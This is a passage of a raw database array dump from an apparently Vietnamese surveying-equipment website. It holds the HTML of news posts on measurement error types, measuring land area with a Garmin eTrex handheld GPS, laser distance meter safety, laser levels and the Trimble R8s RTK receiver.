đến lớn thì sai số xác suất p có giá trị của sai số đứng giữa về thứ tự sắp xếp.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Khi nghiên cứu về sai số trung bình cộng (s), sai số trung phương (m) và sai số xác suất (p) thấy chúng có mối quan hệ: p/s/m - tương ứng là 0,67/0,8/1,0</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Nếu số lần đo càng nhiều thì tỷ số này càng đúng, dựa vào tỷ số này người tư có thể tính nhanh các giá trị của sai số trung bình cộng (s), sai số trung phương (m) thông qua giá trị của sai số xác suất (p)</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">d) Sai số giới hạn (kí hiệu là f)</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Nghiên cứu thống kê cho thấy:</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Cứ 1000 sai số thực thì có 3 giá trị si số vượt qua giới hạn ba lần giá trị sai số trung phương m. Trong 100 sai số thực thì có năm giá trị v]ợt quá giới hạn hai lần giá trị của sai số trung phương m.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Vì vậy người ta thường chọn sai số giới hạn bằng 3 lần sai số trung phương</span></span></div> <div align="center" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">f = 3m</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Trong trường hợp yêu cầu độ chính xác cao thì chọn sai số giới hạn bằng 2 lần sai số trung phương.</span></span></div> <div align="center" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">f = 2m</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Như vậy trong quá trình tính toán nếu giá trị nào vượt quá sai số giới hạn thì bị coi là sai số sai lầm và bị loại ra khỏi kết quả đo.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">e) Sai số tương đối (kí hiệu là <span style="box-sizing: border-box; margin: 0px; padding: 0px; font-weight: 700;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">1/T</em></span>) là tỷ số giữa sai số trung phương và giá trị thực của đại lượng đo (L).</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><a href="https://2.bp.blogspot.com/-gSCgrAByN9M/Ur6UM1jjS8I/AAAAAAAADfI/mkKKcoc2Ex8/s1600/gisgpsrs-sai-so-tuong-doi.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://2.bp.blogspot.com/-gSCgrAByN9M/Ur6UM1jjS8I/AAAAAAAADfI/mkKKcoc2Ex8/s1600/gisgpsrs-sai-so-tuong-doi.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Sai số tương đối dùng để so sánh mức độ sai số với giá trị thực của đại lượng đo:</span></span></div> ', 'images' => '201904250406260790335a670cb13c2fdb67fe2f8df9ba.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-04-25', 'modified' => '2025-08-10', 'status' => '1', 'view' => '82720', 'slug' => 'cac-loai-sai-so-tieu-chi-danh-gia-do-chinh-xac-ket-qua-do', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '937', 'rght' => '938', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 4 => array( 'Post' => array( 'id' => '535', 'name' => 'Hướng dẫn đo diện tích đất bằng máy định vị cầm tay GARMIN ETREX 10/20X ', 'code' => null, 'alias' => 'huong-dan-do-dien-tich-dat-bang-may-dinh-vi-cam-tay-garmin-etrex-10-20x', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="color: rgb(17, 17, 17); font-weight: 700; text-align: justify;">Những năm gần đây việc sử dụng máy định vị cầm tay để đo diện tích đất nông nghiệp, đất rừng… trở nên phổ biến. Người nông dân, thương lái đã ứng dụng thiết bị kỹ thuật vào việc đo diện tích đất để mua bán cao su, tiêu, điều,… một cách rất hiệu quả và chính xác.</span></span></span>', 'content' => '<p style="margin: 0px auto; padding: 5px 0px; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;">Sau đây, chúng tôi xin phép hướng dẫn cách đo diện tích đất bằng máy định vị cầm tay Etrex 10/20x đơn giản và chính xác.<br /> <br /> <strong>Phần 1: Kiểm tra tín hiệu vệ tinh và sai số của máy định vị trước khi đo diện tích</strong><br /> <br /> Máy định vị cầm tay Etrex 10/20 đo diện tích dựa trên tín hiệu vệ tinh vì vậy để số liệu đo chính xác thì vệ tinh thu được phải nhiều và đầy đủ. Hãy kiểm tra tín hiệu vệ tinh trước khi đo:<br /> <br /> - Nhấn <em>Menu</em> 2 lần để vào màn hình menu chính<br /> <img alt="" src="/admin/webroot/upload/image/images/Hình 2.jpg" style="width: 300px; height: 300px;" /><br /> <br /> - Di chuyển con trỏ vào ô <em>Satellite</em> => nhấn <em>Enter</em><br /> <img alt="" src="/admin/webroot/upload/image/images/Hình 3(1).jpg" style="width: 381px; height: 510px;" /><br /> <br /> - Màn hình vệ tinh sẽ hiện ra. Trên góc phải phía trên màn hình thể hiện sai số của máy. Khi hiện ra số từ 3 - 5m tức là vệ tinh đã tốt, chúng ta có thể bắt đầu đo diện tích đất.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/Hình 4(1).jpg" style="width: 306px; height: 409px;" /><br /> Sau khi kiểm tra tín hiệu vệ tinh và sai số của máy định vị trước khi đo diện tích sẽ tiến hành đo diện tích đất.<br /> <br /> <strong>Phần 2: Tiến hành đo diện tích đất</strong><br /> <br /> <strong>Bước 1:</strong> Nhấn nút <em>Menu</em> trên máy 2 lần để trở về màn hình menu chính<br /> <img alt="" src="/admin/webroot/upload/image/images/Hình 1 lần 2.jpg" style="width: 300px; height: 300px;" /><br /> <em>Hình 1. Nhấn Menu 2 lần để trở về màn hình chính</em><br /> <br /> Bước 2: Di chuyển con trỏ vào biểu tượng có chữ <em>Area Calculation</em> (chức năng đo diện tích) => nhấn <em>Enter</em><strong>. </strong>Màn hình đo diện tích sẽ hiện ra.<br /> <img alt="" src="/admin/webroot/upload/image/images/Hình 2 lần 2.jpg" style="width: 311px; height: 414px;" /><br /> <em>Hình 2. Di chuyển con trỏ vào biểu tượng có chữ Area Calculation</em><br /> <br /> Bước 3: Bây giờ hãy vào khu đất cần đo diện tích và nhấn <em>Enter</em> vào chữ <em>Start</em>, sau đó đi vòng quanh khu đất cần đo.<br /> <img alt="" src="/admin/webroot/upload/image/images/Hình 3 lần 2.jpg" style="width: 400px; height: 533px;" /><br /> <em>Hình 3. Nhấn Enter vào chữ Start</em><br /> <br /> Bước 4: Sau khi đi vòng quanh khu đất cần đo đến vị trí xuất phát ban đầu nhấn <em>Enter</em> vào chữ <em>Calculate.</em><br /> <img alt="" src="/admin/webroot/upload/image/images/Hình 4 lần 2.jpg" style="width: 296px; height: 395px;" /><br /> <em>Hình 4. Nhấn Enter vào chữ Calculate</em><br /> <br /> Màn hình hiển thị kết quả đo diện tích sẽ hiện ra:<br /> <img alt="" src="/admin/webroot/upload/image/images/Hình 5.jpg" style="width: 309px; height: 412px;" /><br /> <em>Hình 5. Hiển thị kết quả đo</em><br /> <br /> Tùy vào mỗi mục đích công việc khác nhau mà chúng ta lựa chọn đơn vị đo phù hợp.<br /> Để chọn đơn vị đo bạn chỉ cần di chuyển con trỏ vào chữ <em>Change Units</em> và nhấn <em>Enter </em>=> màn hình sẽ hiện ra các đơn vị đo để bạn lựa chọn, thông thường chúng ta sẽ đo diện tích khu đất lớn nên chọn vào đơn vị Hectares<strong> (</strong>Ha<strong>).</strong><br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/Hình 6.jpg" style="width: 376px; height: 502px;" /><br /> <em>Hình 6. Chuyển đơn vị đo</em><br /> <br /> <strong>Cần lưu ý là phải đi thành 1 vòng khép kín thì máy mới đo diện tích khu đất một cách chính xác.</strong></span></span><br /> </p> <p style="margin: 0px auto; padding: 5px 0px; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> </p> ', 'images' => '2019042407173039b311cfd409011833b1fdef4dd12cf9.jpg', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-04-24', 'modified' => '2025-08-10', 'status' => '1', 'view' => '56568', 'slug' => 'huong-dan-do-dien-tich-dat-bang-may-dinh-vi-cam-tay-garmin-etrex-10-20x', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '935', 'rght' => '936', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 5 => array( 'Post' => array( 'id' => '534', 'name' => 'Những lưu ý khi dùng máy đo khoảng cách laser', 'code' => null, 'alias' => 'nhung-luu-y-khi-dung-may-do-khoang-cach-laser', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Ứng dụng máy đo khoảng cách laser trong đời sống hàng ngày không còn là quá mới mẻ. Đặc biệt là với các nhà thiết kế và thi công nội ngoại thất, kỹ sư trắc địa, kỹ sư công trình. Nhưng việc sử dụng thiết bị này thế nào đúng cách để tránh gây hỏng thiết bị và gây hại tới người xung quanh là vấn đề cần được quan tâm hơn cả trước khi sử dụng máy. Ứng dụng máy đo khoảng cách laser trong đời sống hàng ngày không còn là quá mới mẻ. Đặc biệt là với các nhà thiết kế và thi công nội ngoại thất, kỹ sư trắc địa, kỹ sư công trình. Nhưng việc sử dụng thiết bị này thế nào đúng cách để tránh gây hỏng thiết bị và gây hại tới người xung quanh là vấn đề cần được quan tâm hơn cả trước khi sử dụng máy. </span></span>', 'content' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Máy đo khoảng cách laser với ưu điểm thiết kế cầm tay nhỏ gọn, đút túi dễ dàng và kết quả phản hồi nhanh. Các tính năng cơ bản bao gồm đo khoảng cách, tính toán theo pitago, diện tích, thể tích, chu vi, đo góc, cộng trừ nhân chia. Ngoài ra, riêng dòng Leica có thêm rất nhiều tính năng vượt trội cho người chuyên nghiệp như đo cạnh trên cao, đo sườn đồi, đo độ nghiêng mái nhà, tính cạnh gián tiếp...<br /> <br /> Trước khi sử dụng bạn cần đọc các lưu ý quan trọng dưới đây để tránh làm hỏng thiết bị hoặc gây hại đến người xung quanh. <br /> <br /> - Không để tia laser hướng về phía người hoặc động vật và không nhìn vào tia laser trực tiếp hoặc qua phản chiếu.<br /> - Nếu tia laser hướng vào mắt, bạn phải nhắm mắt lại và ngay lập tức xoay đầu để tránh tia laser.<br /> - Không được sử dụng kính nhìn laser như là kính bảo hộ lao động.<br /> - Không được nhúng dụng cụ đo vào trong nước hay các chất lỏng khác.<br /> - Lau sạch bụi bẩn bằng một mảnh vải mềm và ẩm.<br /> - Không sử dụng bất cứ chất tẩy rửa hay dung môi nào.<br /> - Nếu dụng cụ đo bị trục trặc, vui lòng liên hệ bộ phận kỹ thuật của chúng tôi để được hướng dẫn và bảo hành. Tuyệt đối không tự ý tháo mở dụng cụ đo ra để tránh làm thiết bị hỏng hóc thêm.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/H1.jpg" style="width: 236px; height: 138px;" /><img alt="" src="/admin/webroot/upload/image/images/H2.jpg" style="width: 236px; height: 138px;" /><img alt="" src="/admin/webroot/upload/image/images/H3.jpg" style="width: 236px; height: 138px;" /></span></span><br /> <br /> <p style="margin: 6px 0px; font-family: Helvetica, Arial, sans-serif; color: rgb(29, 33, 41); font-size: 14px;"> <img alt="" src="/admin/webroot/upload/image/images/H7.jpg" style="width: 500px; height: 360px;" /></p> ', 'images' => '20190301033534e604a531789bb8c3cfaceb0b2346fd77.jpg', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-03-01', 'modified' => '2025-08-10', 'status' => '1', 'view' => '68693', 'slug' => 'nhung-luu-y-khi-dung-may-do-khoang-cach-laser', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '933', 'rght' => '934', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 6 => array( 'Post' => array( 'id' => '533', 'name' => 'Cùng tìm hiểu về dòng máy thuỷ bình laser', 'code' => null, 'alias' => 'cung-tim-hieu-ve-dong-may-thuy-binh-laser', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Với những định hướng ban đầu từ quá trình nghiên cứu, sản xuất và thiết kế, máy thuỷ bình laser dường như đã được tích hợp trong mình những chức năng rất đa dạng, có thể phục vụ nhiều nhu cầu khác nhau của con người.Với những định hướng ban đầu từ quá trình nghiên cứu, sản xuất và thiết kế, máy thuỷ bình laser dường như đã được tích hợp trong mình những chức năng rất đa dạng, có thể phục vụ nhiều nhu cầu khác nhau của con người.</span></span>', 'content' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Với những định hướng ban đầu từ quá trình nghiên cứu, sản xuất và thiết kế, máy thuỷ bình laser dường như đã được tích hợp trong mình những chức năng rất đa dạng, có thể phục vụ nhiều nhu cầu khác nhau của con người. Các chức năng nổi bật đó có thể bao gồm:<br /> - Là thiết bị đo đạc ở các khoảng cách khác nhau từ gần đến xa, từ địa hình bằng phẳng đến nhưng nơi trắc trở nhiều nguy hiểm. Máy thuỷ bình laser có thể hỗ trợ con người trong việc tính toán và lập sơ đồ công trình rất nhanh chóng và chính xác.<br /> - Sử dụng máy trong việc quét mã vạch laser của ngành công nghiệp thương mại giúp bạn có được những kết quả tuyệt đối và tiện lợi hơn.<br /> - Ngoài ra, máy thuỷ bình laser còn là một thiết bị có ứng dụng rộng rãi trong ngành công nghiệp sản xuất, giáo dục, t tế và giao thông, công nghiệp vận chuyển.<br /> <br /> <strong>Một số cách phân loại máy thuỷ bình laser nổi bật nhất</strong></span></span><br /> <ul> <li> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Phân loại máy thuỷ bình laser qua màu sắc</span></span></li> </ul> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Màu sắc máy thuỷ bình laser sẽ tương ứng với màu sắc tia laser được tích hợp bên trong máy và những dòng máy có màu sắc khác nhau sẽ có các đặc tính sử dụng cũng như nhiều ưu nhược điểm khác nhau. Một số dòng máy thuỷ bình laser chính được phân loại theo hình thức này đó chính là máy tia xanh, tia đỏ, tia cam, tia xanh ngọc, tia hồng. Tuy nhiên, nổi bật hơn cả vẫn là hai dòng máy chính tia xanh và tia đỏ. Chúng được xuất hiện phổ biến trên thị trường với những vai trò vô cùng hữu ích, khả năng ứng dụng đa dạng và linh hoạt cho người dùng.<br /> <img alt="" src="/admin/webroot/upload/image/images/1539914884-may can bang2 (1).JPG" /></span></span><br /> <ul> <li> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Phân loại máy thuỷ bình laser theo nhà sản xuất</span></span></li> </ul> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Có rất nhiều đơn vị khác nhau gia nhập vào lĩnh vực thiết kế, sản xuất và phân phối máy thuỷ bình laser ra thị trường. Một số thương hiệu nổi bật có thể kể đến như dòng máy thuỷ bình laser thương hiệu Hàn Quốc, Nhật Bản, Đức: Sincon, Bosch, Fukuda, Laisai,...<br /> <img alt="" src="/admin/webroot/upload/image/images/1512013048_may-can-bang-laser-sincon-sl-333.jpg" style="width: 455px; height: 481px;" /></span></span><br /> <ul> <li> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Phân loại máy thuỷ bình laser qua số tia được tích hợp</span></span></li> </ul> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Số tia của máy thuỷ bình laser có ảnh hưởng rất lớn đến hiệu quả ứng dụng, đến mức độ phổ biến và khả năng sử dụng thực tế của máy cho các nhu cầu của người dùng. Tùy từng mục đích khác nhau bạn có thể chọn lựa dòng máy thuỷ bình laser với số tia vừa phải như 2 tia, 3 tia, 4 tia, 5 tia. Số lượng tia càng lớn thì giá thành máy càng cao, tuy nhiên hiệu quả và các chức năng máy mang lại sẽ càng lớn.<br /> <br /> <strong>Đánh giá một số ưu điểm của máy thuỷ bình laser trên thị trường hiện nay:</strong><br /> - Sử dụng máy thuỷ bình laser có thể thay thế hoàn toàn các phương thức đo đạc truyền thống với các kết quả đảm bảo độ chính xác, nhanh chóng và rất tiện lợi. Bạn có thể tránh đi được các thao tác phức tạp cần phải thực hiện, ngoài ra là còn tránh được các sai lệch có thể ảnh hưởng trực tiếp đến những công trình thực tế đang nghiên cứu hoặc thi công.<br /> - Việc sử dụng các dòng máy thuỷ bình laser hiện đại ngày nay rất đơn giản, chỉ cần nhấn nút và kiểm tra kết quả đo. Việc băn khoăn về những công việc cần làm cũng được giảm đi đáng kể. Từ đó giúp tiết kiệm thời gian rất nhiều.<br /> - Các thiết kế máy thuỷ bình laser hiện nay đều rất hiện đại, sang trọng với khả năng thu hút, bắt mắt, thể hiện cho sự cập nhật xu hướng cho chính người dùng, người chủ của máy.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/images(1).jpg" style="width: 225px; height: 225px;" /><br /> <br /> <strong>Một số nhược điểm của máy thuỷ bình laser:</strong><br /> Tuy mang trong mình nhiều ưu điểm nhưng vẫn không thể phủ nhận được một số khuyết điểm mà máy thuỷ bình laser vẫn còn gặp phải. Việc sử dụng máy tuy đơn giản nhưng luôn cần phải đảm bảo đúng và đủ các thao tác cần thiết. Nếu không sẽ không thể thu được kết quả đo. Ngoài ra, khi ứng dụng máy thuỷ bình laser trong một số điều kiện về địa hình trắc trở hay có nhiều vật cản, kết quả đo đạc thu được có thể sẽ không đảm bảo được độ chính xác tuyệt đối.<br /> Mức giá của các dòng máy thuỷ bình laser khá lớn, thường cao hơn so với các lựa chọn của phương pháp đo đạc truyền thống. Vì vậy, chi phí đầu tư ban đầu cần bỏ ra cho phương pháp cần phải xác định là sẽ tốn kém hơn. Tuy nhiên, so với những hiệu quả mà máy có thể mang lại thì đây hoàn toàn là những con số có thể chấp nhận được.<br /> </span></span>', 'images' => '20190213030954ce4c7d18ea6c8d4e032f065a283c7634.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-02-13', 'modified' => '2025-08-10', 'status' => '1', 'view' => '66484', 'slug' => 'cung-tim-hieu-ve-dong-may-thuy-binh-laser', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '931', 'rght' => '932', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 7 => array( 'Post' => array( 'id' => '532', 'name' => 'Đo đạc khảo sát bằng công nghệ RTK - TRIMBLE R8S ', 'code' => null, 'alias' => 'do-dac-khao-sat-bang-cong-nghe-rtk-trimble-r8s', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '', 'content' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Công nghệ GPS RTK trong đo đạc khảo sát địa hình giúp rút ngắn thời gian đo đạc ngoài thực địa.<br /> Phương pháp đo vẽ bằng công nghệ RTK rất đơn giản.Khả năng đo chi tiết ở khoảng cách khá lớn.Trạm máy ít phải di chuyển nên tốc độ đo nhanh hơn. Với công nghệ RTK, nhân lực giảm, mang lại hiệu quả lớn về mặt kinh tế.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/1545100541-r8s-4 (1)(1).JPG" style="width: 841px; height: 329px;" /><br /> Cùng với đó, để nâng cao năng suất và hiệu quả của công việc đo đạc khảo sát, bạn cần kết hợp với thiết bị máy toàn đạc điện tử để đo đạc.<br /> <br /> Để bắt kịp xu thế, Trimble – hãng sản xuất của Mỹ cho ra đời dòng máy định vị vệ tinh GNSS 02 tần số R8s. Máy có thiết kế nhỏ gọn và các tính năng nổi bật, đặc biệt là độ chính xác cao.Chuyên dùng trong công tác khảo sát thành lập lưới khống chế tọa độ với độ chính xác cao;<br /> Ngoài ra Trimble R8s cũng có thể được dùng trong việc khảo sát, thi công công trình như một chiếc máy đo đạc thông minh.Có thể thực hiện được tất cả các công việc trắc địa như giao hội, bố trí đường cong, tính diện tích.<br /> <br /> <strong>Các tính năng nổi bật của Trimble R8s GNSS:</strong><br /> + Bộ thu vệ tinh có thể lập cấu hình và tùy chỉnh nhằm đáp ứng yêu cầu của người dùng<br /> + Có cấu hình xử lý hậu kỳ, cấu hình chỉ gồm trạm Base hoặc trạm Rover.Hoặc cấu hình bao gồm cả hai trạm Base và Rover<br /> + Khả năng dò tìm vệ tinh tiên tiến với công nghệ thu vệ tinh Trimble 360<br /> + Gồm bộ vi mạch Trimble Maxwell 6 với 440 kênh<br /> + Tích hợp đơn giản với dòng máy toàn đạc Trimble S-series và trạm Rover V10 Imaging<br /> + Phần mềm hiện trường Trimble Access và phần mềm nội nghiệp Trimble Business Center đầy trực quan<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/1545100540-r8s-2(1).jpg" style="width: 426px; height: 600px;" /></span></span><br /> <div class="mota" style="margin: 10px 0px; font-weight: bold; color: rgb(17, 17, 17); position: relative; z-index: 999; background-image: initial; background-position: initial; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial; text-align: justify; line-height: 20px; font-family: Arial, sans-serif;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="color: rgb(34, 34, 34);">Với những tính năng nổi trội như trên, Trimble R8s sẽ là một giải pháp hoàn thiện cho công tác đo đạc khảo sát thành lập bản đồ.</span> </span></span></div> <div class="mota" style="margin: 10px 0px; font-weight: bold; color: rgb(17, 17, 17); position: relative; z-index: 999; background-image: 